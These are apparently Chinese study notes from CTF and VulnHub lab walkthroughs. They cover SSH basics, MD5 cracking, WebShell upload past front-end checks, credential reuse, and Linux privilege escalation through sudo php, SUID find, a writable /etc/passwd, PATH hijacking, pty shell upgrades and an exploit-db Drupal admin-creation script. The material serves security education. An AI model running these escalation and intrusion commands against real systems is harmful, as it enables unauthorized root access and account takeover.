下面的命令是在Kali系统中以root用户的身份远程登录CentOS服务器。需要注意的是,当客户端首次登录某台服务器时,服务器会将自己的公钥发送给客户端,此时在客户端会出现是否保存服务器公钥的提示。当用户将服务器公钥保存在客户端本地之后,再次登录服务器时就不会出现这个提示了。

image

除了上面的标准用法,也可以通过ssh命令的-l选项来指定登录的用户名(l是login的缩写)​。

 

┌──(root㉿kali)-[~]
└─# ssh -l student 192.168.80.10
student@192.168.80.10's password:

-p  指定端口号

 

┌──(root㉿kali)-[~]
└─# ssh -p 2200 root@192.168.80.10

scp命令

scp(secure copy)命令可以通过网络在不同的Linux主机之间传送文件,命令格式如下:

 本地上传

scp [选项] 本地文件 用户名@远程主机IP地址:远程目录

远程下载

scp [选项] 用户名@远程主机IP地址:远程文件 本地目录

例如,在Kali中要把本地文件/etc/passwd复制到CentOS的/tmp目录中,可以执行下面的命令。命令执行后会提示我们输入远程主机上的root用户的密码。

 

image

 以下命令的作用是在Kali上把CentOS中的/etc/passwd文件复制到本地的/tmp目录中:

 

image

 

如果要复制目录,则应加上-r选项:

┌──(root㉿kali)-[~]
└─# scp -r root@192.168.80.10:/home /tmp

 

 hash算法和md5

Hash是一种数学算法,这种算法最主要的特点是,它可以把一个任意大小的数据经过处理之后,得到一个固定长度的数值(Hash值)​。

 Hash值长度都是一样的。注意:长度一样,而并非大小一样。

由于通常都是习惯采用二进制数的位数来表示Hash值的长度,所以我们最常见到的Hash值大都是128 bit或者是160 bit。

 Hash算法还有很多特性,归纳起来主要有以下3点:

  • 定长输出:无论原始数据多大,其生成的Hash值长度是固定的。
  • 不可逆:无法根据加密后的密文还原出明文。
  • 雪崩效应:输入一样,输出必定一样。如果输入发生微小改变,输出将发生巨大变化。

接下来介绍MD5的概念。MD5是Hash算法的具体实现,除了MD5,Hash算法的实现方式还有SHA等,不过在实践应用以及CTF比赛中,使用最多的还是MD5。

 需要说明的是,严格来讲,Hash算法其实并不是一种加密算法,而应该是消息摘要(Message Digest,MD)算法。因为对于加密算法必须要满足“可逆”这个基本特征,就是既能把明文加密成密文,也能把密文解密得到明文,而Hash算法明显是不满足这个特征的。

 MD5和SHA1都是Hash算法的具体应用,它们的主要区别是所生成的Hash值的长度不同,MD5生成的Hash值长度为128 bit,SHA1生成的Hash值长度为160 bit。

当然在实际应用中,Hash值通常都是以十六进制的形式表示的,每1位十六进制数可对应4位二进制数,因而这两种算法生成的十六进制的Hash值长度分别为32位和40位。

通过Hash算法对任意大小的数据进行计算,都可以得到一个固定长度的Hash值,而且Hash值与数据之间具有唯一相关性。

Hash值就好比人类的指纹,每一组数据都可以计算出一个与其对应的唯一的Hash值,因而Hash算法也被称为指纹算法

Hash算法还有一个重要特点——Hash运算的过程是不可逆的,即我们无法通过Hash值来推导出运算之前的原始数据。因而Hash算法只能加密,而不能解密,所以也称之为单向加密

这就好比通过指纹可以对应到唯一的一个人,指纹和这个人之间存在着对应关系。现在如果只有一枚指纹,要求我们通过这枚指纹把这个对应的人给还原出来,这明显是不现实的。Hash算法所谓的不可逆也是同样的道理。

Hash算法在网络安全领域应用非常广泛,它的作用主要有两个:

  • 一是用于验证数据的完整性和一致性,
  • 二是用来对数据进行单向加密

我们这里所要介绍的主要是第二种应用,因为在Windows、Linux系统以及互联网的大多数应用中,都是采用了Hash算法对用户的密码进行加密之后再进行存储,即在系统中存储的都是密码的Hash值,而非明文。这主要是利用了Hash算法不可逆的特点,即无法根据加密后的密文来还原原始数据。对于系统中存放的用户密码,我们只需要验证其是否正确,而无须知道其明文是什么

下面通过几个CTF例题来加深对MD5的理解。

 1.BUUCTF-Crypto-MD5

 题目附件中给出一串字符:​“e00cf25ad42683b3df678c61f42c6bda”​。

这串字符全部是十六进制数,利用wc命令检测,发现字符串长度是32位。

┌──(root㉿kali)-[~]
└─# echo "e00cf25ad42683b3df678c61f42c6bda" | wc -L
32

再结合题目名称“MD5”​,很明显是一个MD5密文。所以这个题目就是让我们对这个密文进行解密,得到的明文就是flag。

在网上搜索“md5”会找到很多解密网站,为使用https://www.cmd5.com/网站的解密结果。

image

 但是这个密文在cmd5网站破解需要收费,这里推荐使用somd5破解(网址为https://www.somd5.com/),

 

 

 

 

 

 

 

 

渗透操作技巧

学习Web安全时,我们需要重点学习后端代码,对前端代码适当了解即可。前端代码主要是指HTML和JavaScript。

查看网页源码

对于客户端,所能接触到的都是前端代码。前端代码除了HTML,还有JavaScript。所以在客户端浏览器上查看网页源码,所看到的基本上都是HTML+JavaScript。在做CTF比赛的Web类题目时,经常需要查看网页源码。有些题目中flag直接隐藏在源码中,有些题目则会在源码中给出提示和线索,所以查看源码通常是做Web类题目的第一步。

 

有些题目特意做了限制,禁止通过右键的方式查看源码。其实在正常能够查看源码的页面地址栏中,可以看到查看源码时会自动在URL前面加上了“view-source:”​,因而通过这种方式就可以绕过此类限制

image

修改页面输入长度限制

打开Firefox的开发者工具,选择“查看器”​,单击查看器左侧的“选取页面中的元素”按钮。然后在页面中单击文本框,这样就会自动跳转到相应的代码位置,文本框控件被设置了maxlength属性,限制了最大长度为1。我们修改最大长度值,即可解题。

image

 

修改无法点击按钮

打开开发者工具,在查看器中找到按钮所对应的代码,删除其中的disabled属性。然后按钮就可以单击了。

 

image

显示隐藏密码

在开发者工具中找到密码框对应的代码,直接就可以看到密码的明文,或者将<input>标签的type属性改为text,就可以直接在页面上显示密码的明文。

image

这样就收集到了一组用户名和密码。

网站目录和系统目录分别 

在网上搜索Drupal数据库配置文件,很容易就能查到数据库配置文件的路径:/sites/default/settings.php。

这个路径的起始位置是网站的主目录,而不是Linux系统的根目录,这个要注意区分。

当前靶机的网站主目录是/var/www,所以配置文件的绝对路径就是/var/www/sites/default/settings.php。

 

判断是前端限制还是后端限制

攻防世界-Web-upload1

题目中给出一个上传页面,尝试直接上传PHP文件,提示只允许上传图片。

需要注意的是,这个提示信息是通过弹框输出的,所以,很明显网站采用的是前端检测。  // 为什么通过弹框就可以判断,因为后端代码检测结果,一般通过响应页面的内容进行显示,非弹窗。弹窗是html中js的能力。document对象的内容。

查看页面源码,果然发现是通过JavaScript代码限制了只允许上传扩展名为jpg和png的图片文件。

image

 通过Firefox插件禁用JavaScript,成功上传WebShell,然后用蚁剑连接,最后在网站主目录下发现flag.php,文件内容就是flag

BUUCTF-Web-[ACTF2020 新生赛]Upload

打开题目后,单击网页中的灯泡,即可出现“上传”按钮。但是无法直接上传php文件,提示只允许上传图片。这个提示同样是以弹框的形式给出的,所以网站应该是采用了前端验证。关闭JavaScript之后,再次上传PHP文件,在页面左上角出现“nonono~ Bad file!”的提示。所以,除了前端验证之外,在网站后端应该也采取了防御措施。

 

 

 

 什么叫撞库

我们之前通过越权访问漏洞获取到的是网站的用户信息,这些信息都是存放在数据库中,所以网站用户与Linux的系统用户完全是两回事。但是在靶机中是否也会存在与网站用户同名的系统用户账号呢?如果有相同账号,那么密码是否也会是一样的呢?

很多人喜欢在不同的网站或不同的应用中使用相同的账号和密码。这样,如果黑客在某处获取了这个用户的账号密码,那么就可以在各处都能成功登录了。所以当黑客获取了某个账号密码之后,通常会到处尝试登录,像这种攻击方式就称为“撞库”​。

 下面尝试能否用网站的用户账号来登录SSH,在这些用户信息中,我们最关心的就是alice,直接用她的身份登录SSH,果然成功登录了。这证明靶机中确实存在撞库漏洞,即在不同的应用中使用了相同的账号密码

image

继续尝试“ME AND MY GIRLFRIEND: 1”靶机,因为这个靶机中的数据库的管理员账号也是root,所以我们可以直接尝试能否用其数据库密码“ctf_pasti_bisa”来切换到系统的root。经过测试发现,可以成功切换到系统的root用户

image

 所以在这台靶机中,系统root账号和MySQL的root账号使用了同样的密码,这里也存在撞库漏洞。通过这个撞库漏洞,我们可以直接实现提权。

对于“ME AND MY GIRLFRIEND: 1”靶机,撞库是一个重点涉及的漏洞。与撞库相关的弱口令漏洞,虽然没有什么技术含量,但却是在实践中屡见不鲜的高危漏洞。因此,在渗透测试的过程中,我们可以优先去尝试是否存在这类漏洞。

 

 

 

 

 

 

 

 sudo提权

在这台靶机中使用了suid提权。这里需要再次强调,每种提权方法都有很严格的条件限制,后续还会介绍很多提权方法,在考虑使用哪种方法来提权之前,首先就应该检测靶机是否满足了相应的提权条件。

 

 

提权是在渗透测试后期的一项非常重要的操作。通过前期的渗透测试,我们很可能会得到一个拥有系统普通用户权 限的账号,例如之前得到的alice账号。这种普通用户在系统中的权限非常小,能执行的操作也非常有限,而黑客的目标是要控制整台服务器,这就要求我们必须拥有root权限。

在已经拥有了一个普通用户账号的基础上,通过各种漏洞和相关操作,从而达到最终获取root权限的目的,这就是提权。

提权是一项比较困难的操作,能否成功提权存在很大的不确定性。在具体的渗透测试过程中,也只能是根据已经掌握的提权方法逐个进行尝试。在本节中将结合不同的靶机,分别介绍一些主流的提权方法。对于当前靶机,我们可以采用sudo提权。

什么是Shell

Shell是在渗透测试中经常会见到的一个概念,从现在开始,我们需要逐渐加深对Shell的认识和理解。

从字面理解,Shell是“外壳”的意思。在计算机领域,Shell主要是对提供系统操作界面的一类程序的统称,例如我们在Windows系统中使用的图形操作界面、在Linux系统中使用的命令行操作界面,这些都属于是Shell。

由于目前互联网中的大部分服务器都是使用了Linux系统,所以我们通常所说的Shell基本上都是专指可以对Linux系统进行操作的命令行界面。

需要强调的是,Shell是一个统称,具体可以提供Shell这种功能的软件有很多。例如,在CentOS系统中默认使用的是Bash Shell,在Kali系统中默认使用的则是Zsh Shell。

 Linux专门提供了一个环境变量$SHELL,查看该变量的值就能知道系统当前使用的是什么Shell。

CentOS中的Shell:

 

[root@CentOS ~]# echo $SHELL
/bin/bash

Kali中的Shell:

┌──(root㉿kali)-[~]
└─# echo $SHELL
/usr/bin/zsh

除了这些默认Shell之外,在系统中还提供了很多其他类型的Shell可供用户选择,这些Shell的信息都存放在/etc/shells文件中。例如,下面就是CentOS系统中提供的所有Shell。除/bin/bash之外,/bin/sh也是一个经常使用的Shell,在之后的操作中,会经常用到这两种Shell。

 

[root@CentOS ~]# cat /etc/shells
/bin/sh
/bin/bash
/usr/bin/sh
/usr/bin/bash
/bin/tcsh
/bin/csh

从黑客的角度,其最终的目的是获取对服务器的操作权限,这就需要获取服务器的Shell。

那么该如何获取服务器的Shell呢?

通过上面的介绍可以知道,只需要设法在服务器上执行/bin/bash或/bin/sh即可。只要运行了这些程序,就是打开了一个Shell,也就获得了一个系统的操作界面。

回到靶机的内容,我们之前已经使用alice账号通过SSH服务成功登录了靶机,这其实就是获得了一个Shell。

执行echo $SHELL命令,我们可以发现,当前所使用的正是Bash Shell:

┌──(root㉿kali)-[~]
└─# ssh alice@192.168.80.128
alice@192.168.80.128's password:
Last login: Mon Jan 16 17:33:00 2023 from 192.168.80.137
alice@gfriEND:~$ echo $SHELL
/bin/bash

之前说过,alice这种普通用户在系统中的权限非常小,所以黑客的目标是获取系统权限,即把普通用户权限提升到root权限。

提权的总体思路是,要设法以root用户的身份去执行/bin/bash或/bin/sh,这样,所获取的就是具有root权限的Shell。

如何能够以root身份去执行Shell?这就是接下来所要介绍的操作。

 什么是sudo

sudo是Linux系统提供的一种权限分配机制,通过sudo,可以允许经过授权的普通用户以root权限去执行一些授权使用的管理命令。对于初学者来说,可能不容易理解sudo的概念。下面通过举例进行说明。

从名称上解读,sudo其实上是switch user do的缩写,意味着通过sudo命令,用户可以临时获得root权限。这就如同一个钦差大臣,当他得到皇帝的授权,拥有了尚方宝剑,那么他便在执行使命的过程中,暂时拥有了皇帝般的权力。

 当以普通用户student的身份去执行创建用户账号的命令时,系统就会报错,提示权限不够。

[student@localhost ~]$ useradd test
-bash: /usr/sbin/useradd: 权限不够

下面尝试让student使用sudo命令以root权限去执行命令。注意,当普通用户使用sudo执行命令时,会要求用户提供自己的密码进行验证。

[student@localhost ~]$ sudo useradd test
[sudo] password for student:
student is not in the sudoers file. This incident will be reported.

可以发现,student使用sudo命令仍然无法创建用户。

sudo提权

是因为在Linux中只有被授权的用户才能执行sudo,而且使用sudo也只能执行那些被授权过的命令,这就如同钦差大臣也必须要事先获得皇上的授权一样。所以,要使用sudo,首先必须要经过管理员的授权设置。

配置sudo授权,需要修改配置文件/etc/sudoers,例如,下面的设置就是授权普通用户student可以通过sudo方式执行所有的命令,这样student就拥有了root权限。

image

 注意,/etc/sudoers是一个只读文件,当修改完成,保存退出时要使用wq!命令。

如果希望student只能执行部分命令,可以在/etc/sudoers中指定student所能执行命令的程序文件路径。注意,命令必须要指明绝对路径,否则系统会识别不出来。命令的程序文件路径可以通过which命令查找。

例如,查找useradd命令的程序文件路径。

image

我们可以发现,student每次在执行sudo时都要输入自己的密码,为了省去普通用户执行sudo命令时需要输入密码的麻烦,可以在命令列表之前加上NOPASSWD。

student ALL=NOPASSWD:/usr/sbin/useradd,/usr/sbin/userdel,/usr/bin/passwd

除了针对用户授权之外,也可以对用户组授权,这样用户组内的所有成员用户就都具有了执行sudo命令的权限。如果授权的对象是用户组,需要在组名的前面加上%。

在CentOS的/etc/sudoers文件中有下面一行设置项。

%wheel  ALL=(ALL)  ALL

这表示wheel组中的成员拥有所有的管理员权限,因此,如果将某个用户加入wheel组,那么该用户就具有了管理员权限。

查看Kali系统的/etc/sudoers文件,可以看到,在文件下方有下面的设置项。

%sudo  ALL=(ALL:ALL) ALL

所以Kali系统中的sudo组默认具有root权限,而sudo组中的成员只有kali。

# grep sudo /etc/group
sudo:x:27:kali

Kali官方默认提供的用户账号就是kali,这个账号也拥有root权限,只不过在执行一些管理命令时需要通过sudo方式才可以。

对于普通用户,可以通过执行sudo -l命令来查看自己是否被授予了sudo权限。例如,在Kali系统中查看kali用户的sudo权限。

image

 

sudo之php提权

如果一个普通用户被配置了sudo授权,那么在执行被授权的命令时就直接拥有了root权限,所以利用sudo提权是我们最容易想到的方式。

我们继续对靶机进行操作,以alice的身份通过SSH服务登录靶机,然后查看alice是否被配置了sudo授权

image

 

可以看到,alice被授权执行/usr/bin/php,而且在执行该命令时不需要输入密码。那么/usr/bin/php又是什么呢?

 这其实是PHP的程序文件,这个靶机中的网站所使用的脚本语言就是PHP。

通过/usr/bin/php可以用命令行的方式去执行PHP代码,例如,在CentOS虚拟机中进行测试,执行php命令再合-r选项就可以执行PHP代码。

image

要想成功提权,即要设法以root的身份去执行/bin/bash或/bin/sh这类Shell程序。而现在alice能够以root的身份去执行PHP代码,那么,该怎样操作,才能进一步利用PHP去执行Shell程序呢?

 初学者还不熟悉PHP代码,所以这里直接公布答案:在PHP中提供了一些可以直接调用系统命令的函数,如system( ),下面的代码就是通过system( )函数去调用执行了pwd命令。

alice@gfriEND:~$ php -r "system('pwd');"
/home/alice

所以我们只要让alice以sudo的方式去执行PHP中system()函数,并通过该函数去执行系统中的/bin/bash程序,那么就可以成功提权。

alice@gfriEND:~$ sudo php -r "system('/bin/bash');"
root@gfriEND:~# whoami
root

这个命令的实质就是以root用户的身份去执行/bin/bash,因而就以root权限打开了一个Shell,从而实现了提权。

 suid提权之find提权

利用find命令在靶机中查找文件名中含有flag并且以.txt作为后缀的文件,成功发现了/home/flag4/flag4.txt以及存放在root家目录中的终极flag

image

 查看文件没有权限

www-data@DC-1:/var/www$ cat /root/thefinalflag.txt
cat: /root/thefinalflag.txt: Permission denied

这是因为我们当前所使用的www-data只是一个普通用户,不可能拥有查看root家目录的权限,所以要想看到这个终极flag,接下来就必然需要提权。

在上个靶机中,我们介绍了sudo提权。sudo主要是用来给普通用户分配权限,在当前靶机中,我们虽然也获取了系统Shell,但这个Shell是通过网站获取的,通过命令提示符也可以看出来,当前所使用的用户是www-data。这是一个用来支撑Web服务程序运行的程序用户,像这种程序用户并没有登录系统的权限,也无须设置密码,更不会被配置sudo授权。所以,在这种情况下,基本不用考虑利用sudo来提权。

什么是suid

suid是Linux系统中的一种特殊权限。

在Linux系统中有3种普通权限:读(r)、写(w)、执行(x),如果用数字表示的话,r、w、x分别对应数字4、2、1。

除了这3种普通权限之外,在Linux中还有3种特殊权限:suid、sgid、sbit,它们对应的数字也分别是4、2、1。既然被称为特殊权限,所以它们肯定是在特殊情况才使用的。这3个特殊权限中的sgid和sbit主要是跟运维相关,这里不再过多介绍,在安全领域中主要是涉及suid。

那么suid的作用是什么?其实它的名字已经很直观地表达了自己的作用。suid是“switch user id”的缩写,通过这个特殊权限,可以临时切换用户身份。例如普通用户student,在某些场合可能需要让其临时拥有root权限,这时就可以通过设置suid权限来实现。

suid权限专门针对文件所有者设置,权限字符为s,被设置了suid权限的文件,所有者对应权限位置的x将变为s。

例如,查看passwd命令所对应的程序文件/usr/bin/passwd的属性信息,我们可以发现所有者root的权限是rws,这就表示被设置了suid权限。

[root@localhost ~]# ll /usr/bin/passwd
-rwsr-xr-x. 1 root root 30768 2月  17 2012 /usr/bin/passwd

因为/usr/bin/passwd被设置了suid权限,这样,当任何用户执行passwd命令时,就会自动切换到文件所有者root,然后以root用户的身份执行passwd命令。

为何必须让所有用户都以root用户的身份执行passwd命令呢?

原因在于,使用passwd命令为用户设置密码时,必然需要修改/etc/shadow文件;而查看/etc/shadow文件的权限可以发现,任何用户对它都没有任何权限(root用户除外)​,即只有root用户才有权去修改/etc/shadow文件。

因而如果希望普通用户也能执行passwd命令为自己设置密码,那么就必须得临时为其赋予root权限。

[root@localhost ~]# ll /etc/shadow
----------. 1 root root 1118 12月 23 12:13 /etc/shadow

因而,suid通常都是针对可执行的程序文件而设置的所有的用户在执行这些程序文件所对应的命令时,都将临时拥有root权限。

在查看/bin、/sbin和/usr/bin目录中的文件时可以发现,有好多文件使用了红色底纹,这些文件便是被设置了suid权限。系统中常见的已经设置了suid权限的可执行文件还包括以下这些:

[root@localhost ~]# ll /bin/su /bin/mount /bin/ping
-rwsr-xr-x. 1 root root 34904 4月  17 2012 /bin/su
-rwsr-xr-x. 1 root root 76056 4月   6 2012 /bin/mount
-rwsr-xr-x. 1 root root 40760 3月  22 2011 /bin/ping

这些具有suid权限的程序文件都是由系统默认设置的,我们一般无须改动。

由于suid权限会改变用户身份,因而不建议用户自己去设置suid。如果随意设置suid,那么很可能会产生严重的安全隐患,如被用来提权。

查找被设置了suid的文件

虽然通常不建议用户自己去设置suid,但有时为了完成某些需求,可能确实需要设置suid。那么在工作结束后,也应该及时把临时设置的suid删除,否则很容易产生漏洞。

从渗透测试的角度来看,由于suid可以用root用户的身份运行指定程序,所以经常被用来提权。实现提权的主要方法是设法以root身份去执行/bin/bash这类Shell程序。所以,要想用suid成功提权,必须要具备以下前提条件:

  • 系统中必须有除了默认设置之外的,其他被设置了suid的程序。
  • 这些程序要具备运行其他程序的功能。

已知的可以被用来进行suid提权的程序主要有:nmap、vim、find、bash、more、less、nano、cp等。所以,我们可以重点去查看这些程序是否被设置了suid权限。倘若逐个查看,效率太低。所以这里推荐采用搜索的方式去查找系统中所有设置了suid的程序。

搜索时肯定要用到find命令,这是Linux中的一个比较复杂的命令,当然功能也非常强大。find命令之所以复杂,原因之一就是其拥有众多选项,可以指定各种不同的查找条件。这里以文件权限作为查找条件,需要用到它的-perm选项。

-perm选项的基本用法很简单,格式为-perm mode,其中mode为所要匹配的权限。

我们通常见到的权限数字组合都是类似于755或644这种形式,其实完整的权限数字组合应该是4位数,左侧最高位用于表示特殊权限。特殊权限并不常用,所以平常见的主要是3位数字组合的形式。

我们现在要查找的是suid这种特殊权限,所以要使用的必然是4位数字组合。suid对应的权限数字是4,特殊权限被放在数字组合左侧最高位,所以mode通常用4000表示。注意,数字0表示忽略相应位置的权限,4000表示查找被设置了suid权限的文件,至于其他的rwx权限,则根本无须考虑。

执行find / -perm -4000命令可以查找出系统中所有被设置了suid权限的文件,如图3-27所示。图3-27中所使用的命令中的“2> /dev/null”表示屏蔽错误信息。find命令在执行过程中可能会出现一些错误信息,加上这个功能可以让显示结果更加清晰。

image

 另外,执行find / -perm -u=s命令也可以实现同样的效果,命令中的u代表所有者,s代表suid。所以,​“u=s”同样表示查找所有者被设置了suid权限的文件。

接下来解释为什么要在权限4000或u=s之前加上“-”​?

不加“-”​,表示精确匹配,即查找的文件权限就是4000,除了suid权限,其他的rwx权限通通没有,这明显不符合要求。

加“-”​,表示模糊匹配,此时对于没有指定的权限就不予考虑,所以4000就表示不考虑rwx权限。

模糊匹配除了可以使用“-”表示之外,还可以使用“/”​,当然它们之间也是有区别的,这里不再进一步展开说明。

对照之前给出的可以利用的程序列表发现,除了系统默认的程序,其他被设置了suid权限的程序很明显正是find。

查看find程序文件的权限发现,该文件确实被设置了suid权限。

image

这也解释了我们之前在用find命令查找系统中的flag文件时,为什么可以将root家目录中的flag文件也查找出来。我们是以www-data用户的身份在执行find命令,理论上不应该查找出root家目录中的文件。这是因为root家目录中,默认只有root用户才有rwx权限,而像当前我们使用的www-data用户是没有任何权限的。

www-data@DC-1:/var/www$ ls -ld /root
drwx------ 4 root root 4096 Feb 28 2019 /root

正是由于靶机里的find命令被设置了suid权限,所以任何用户在执行find命令时其实都成为了root。我们只要再设法通过find命令去执行/bin/bash这类Shell程序,那么就可以达到提权的目的了。

利用find命令提权

如何通过find命令去执行其他程序?这就需要用到find命令的exec处理动作功能。

find是一个比较复杂的Linux命令,主要原因在于它提供了众多选项和用法,特别是exec处理动作,它是find命令中较为高级且灵活的用法之一。

所谓“处理动作”是指,不仅能用find命令来查找,而且还可以对找到的结果做进一步的处理,如删除或复制等。

例如,找出/tmp目录中所有后缀为“.txt”的文件并将其删除,就可以执行下面的命令:

[root@localhost ~]# find /tmp -name "*.txt" -exec rm -f {} \;

使用exec时,在格式上有以下固定要求:

  • exec的后面要跟上进一步处理所要执行的命令,这里指去调用并执行rm命令。
  • 符号“{}”用于表示find命令查找到的结果。
  • 在命令的最后必须添加“ \;”​,表示命令结束(注意,在“\”的前面有个空格)。

再如找出/boot目录中所有以init开头的文件,并将它们全部复制到/tmp目录中:

[root@localhost ~]# find /boot -name "init*" -exec cp {} /tmp \;

因为通过exec可以调用其他命令,而靶机中的find命令又被设置了suid权限,将两者结合就能以root身份去调用执行各种命令了。

例如,若想查看root家目录中的文件,对于我们当前所使用的www-data用户而言,由于权限限制,当前用户是无法进行查看的。然而运用exec动作来调用ls命令,我们便能实现这一目的

image

 继续查看/root/thefinalflag的内容

image

在上面这两条命令中,都是先用find找到了一些指定的文件,然后再用exec调用其他命令对其进行处理。其实,exec并非只能对find找到的结果进行处理,exec要调用执行的命令,也可以跟find找到的结果没有任何关系。当然,前提是find要查找的文件必须是存在的,否则就会报错。

 例如下面的操作,分别让find在当前目录下查找a.txt和b.txt文件,只要能找到文件,那么,exec后面调用的命令就可以执行,无论这个命令与要找的文件之间是否有关系。如果文件找不到,find就会报错,exec后面的命令也就无法执行。

[root@CentOS ~]# touch a.txt
[root@CentOS ~]# find a.txt -exec pwd \;
/root
[root@CentOS ~]# find b.txt -exec pwd \;
find: 'b.txt': 没有那个文件或目录

我们的最终目的是利用find来提权,所以就要设法通过exec去调用执行Shell程序。命令是随意去查找一个在当前目录下存在的文件,保证find命令能正常执行,然后再通过exec去执行sh,从而以root身份打开一个Shell,最终成功实现提权。

image

 在上面的命令中,我们运行的是sh,为什么不使用传统的bash呢?这是因为bash在执行时会自动检测euid(即suid)​,如果发现euid和uid不匹配,就会将euid强制重置为uid。

所以bash对这种利用suid提权的方式做了安全防御,如果不想使用bash的这种防御机制,可以加上-p选项,这样就不会再覆盖uid了

image

 至此,我们成功实现了提权,并拿到了终极flag。

对于suid提权,需要具备的前提条件是:除了系统默认设置,还存在其他被设置了suid权限的程序文件,而且这些程序还要具备运行其他程序的功能。所以这里读者就需要记住那些通常可以被用来进行suid提权的程序:nmap、vim、find、bash、more、less、nano、cp等。

 

UID大于1000的用户

接着再查看/etc/passwd文件,发现UID在1000以后的用户除了aiweb1,还有aiweb1pwn。

为什么要关注UID大于等于1000的用户呢?这是因为在默认情况下,我们在系统中自己创建的用户账号,其UID的起始值都是1000,通常也只有这类用户才可以登录系统。

我们之前曾获取了aiweb1pwn用户的密码,这里可以尝试能否撞库。经过测试发现,果然可以成功切换到该用户。

接下来,依次测试之前介绍的各种提权方法发现,这些方法却无一奏效:没有sudo授权、没有被设置了suid权限的可利用程序、没有设置计划任务、系统使用的是2019年的内核,也没有脏牛漏洞。

再去网站主目录中查找网站配置文件,在/home/www/html/web1x443290o2sdf92213/se3reTdir777/c0nFil3bd.php中发现了数据库管理员的账号和密码:aiweb1user/wGuDisZi TkLhuiH_z_zZQXXi,如图10-25所示。但是经过反复尝试,这个账号和密码也无法撞库,至此就再次卡住了。

这台靶机的提权方式比较奇特,当然,这种方式也比较小众,应当是靶机作者故意为之,在实践中不大可能会遇到,因而作为了解即可。

这台靶机故意把/etc/passwd文件的权限设置为www-data用户可以写入

而我们通过WebShell所获取的用户身份正是www-data,所以我们是有权限修改/etc/passwd文件的。

/etc/passwd存放了Linux系统中所有用户的信息,我们只要从这个文件中随意找一个可以登录系统的用户,将其UID改为0,这样,这个用户实际上就成为了root。

这是因为对于Linux系统而言,区分不同用户的唯一标识就是UID,至于用户名则只是便于人们识别而已。

由于我们已经获取了aiweb1pwn用户的密码,所以只要把其UID改为0即可。但这里又遇到了新的问题,就是无法使用vi编辑器来修改靶机中的文件,使用sed命令也同样会出现问题。好在我们已经通过蚁剑连接到了靶机,在蚁剑中可以直接修改/etc/passwd文件并保存,修改完成后,再次切换到aiweb1pwn用户,就发现其已经成为了root,成功提权,并读取了root家目录中的flag,至此,这个靶机顺利完成

PATH环境变量提权

无论是Windows还是Linux系统,都提供了很多环境变量,这些变量是由系统默认设置的,主要用于存储会话和工作环境的信息,例如用户的家目录、命令查找路径、用户当前目录、登录终端等。

为了区别于用户自定义变量,环境变量通常都用全大写字母表示,如PATH、PWD、SHELL等。环境变量的名称是固定的,变量的值一般由系统自行维护,并会随着用户状态的改变而改变。

每个用户的环境变量都不相同,用户可以通过读取环境变量来了解自己的当前状态。

通过执行env或export命令,可以查看系统中所有的环境变量,我们这里要用到的主要是环境变量PATH。PATH指定了Shell中可执行文件所在的路径,查看PATH的内容,可以看到是由“:”间隔的一组路径。

[root@CentOS ~]# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin

我们在Shell中执行的每一个外部命令都有相对应的程序文件,通过which命令就可以查找某个命令所对应的程序文件,例如ls命令的程序文件就是/usr/bin/ls。

 [root@CentOS ~]# whichls

alias ls='ls --color=auto'
    /usr/bin/ls

通常在执行这些外部命令时都需要指定它们的完整路径,例如,执行ls命令就应该使用/usr/bin/ls这种形式。我们之所以可以无须考虑路径,无论在任何位置都能直接执行这些命令,这正是因为PATH变量的作用。

 当执行ls命令时,Shell就会自动从PATH变量所指定的路径里去查找ls命令所对应的程序文件。如果将ls命令程序文件所在的/usr/bin目录从PATH变量中去除,那么ls命令也就无法直接执行了,而必须要使用/usr/bin/ls这种方式才能执行。

另外,需要注意的是,在PATH变量所指定的路径组合中也是存在优先级的。假设在/usr/local/sbin/目录中也存在一个名为ls的程序文件,由于/usr/local/sbin/目录在PATH变量中默认是被排在最前面,拥有最高优先级。这样,再去执行ls命令,其实执行的就是/usr/local/sbin/ls,而不是/usr/bin/ls。

修改环境变量提权

了解了PATH变量的特点之后,接下来就有了提权的思路。

我们可以设法伪造一个whoami命令,使得它的执行结果是tom。

然后再让rootshell程序执行这个伪造的whoami命令,从而满足条件,获取Shell。首先,伪造一个whoami命令,方法很简单:在/tmp目录中生成一个名为whoami的文件,文件内容就是“echo tom”​,然后再给这个文件添加上执行权限,这样只要执行这个文件,就会输出tom。

image

接下来,就要让系统能优先运行我们伪造的whoami命令,这就需要修改PATH变量。设置环境变量需要使用export命令,使用export命令给PATH变量重新赋值,并将/tmp目录放到整个路径最前面的位置。这样,就可以成功实现命令劫持

 

image

 运行rootshell程序,由于满足了程序条件,所以成功获得了Shell

由于rootshell程序被设置了suid,执行id命令可以发现,当前已经是root用户的身份,提权成功。最后,读取/root/flag.txt,成功完成对当前靶机的渗透测试

 

 

 

 

升级交互shell

 python利用pty模块获得系统Shell

Meterpreter中提供的其实是一个虚拟的Shell,并不是真正的Linux系统Shell。这个虚拟Shell没有命令提示符,在使用时感觉有些不便,而且在执行某些操作时会出现错误(如无法进入MySQL交互模式)​,所以这里通常都会使用Python的pty模块来获得一个真正的Linux系统Shell。

 pty模块是Python的内置模块,其使用非常简单,无须安装即可直接调用。下面先进入Python的IDLE交互模式了解这个模块的基本用法。

首先,执行import pty命令即可导入模块。pty模块中最常使用的是spawn( )方法,利用该方法可以打开一个子进程,然后去执行相应的任务。我们的目的是要获得Linux系统Shell,所以这里可以使用spawn( )方法去执行/bin/bash

image

 另外,与之前使用的php命令类似,只要系统中安装了Python,我们同样可以通过python命令来直接执行Python代码。

python命令的-c选项用来指定要执行的Python代码,多条代码之间用分号(;)间隔,所以在Meterpreter的Shell中执行python -c "import pty;pty.spawn('/bin/bash')"命令,就可以通过pty模块得到一个更为好用的系统Shell

image

 

 

 msf的使用

kali中使用searchsploit来搜索针对Drupal的exploit:

image

 【-p】查看该脚本的详细信息

image

 这是一个用python2写的脚本程序,所以用python2直接执行该脚本。

┌──(root㉿kali)-[~]
└─# python2 /usr/share/exploitdb/exploits/php/webapps/34992.py

脚本运行之后,出现了脚本帮助信息,它指出了脚本的使用方法

利用-t选项指定目标网站,-u选项指定要生成的账号,-p选项指定密码,这样就在目标网站中创建了一个名为hacker、密码为123的管理员账号。

image

 命令执行之后,提示成功创建用户,并给出一个URL

image

 MSF(Metasploit Framework)使用介绍

  • exploit:渗透模块,用于针对目标漏洞发起渗透测试。
  • payload:攻击载荷,payload是在目标系统被成功渗透后执行的代码,payload中的主要内容是Shellcode,用于获取Shell。
  • auxiliary:辅助模块,主要用于执行扫描之类的操作。
  • encoder:编码器模块,用来对代码进行混淆,从而绕过安全保护机制的检测。
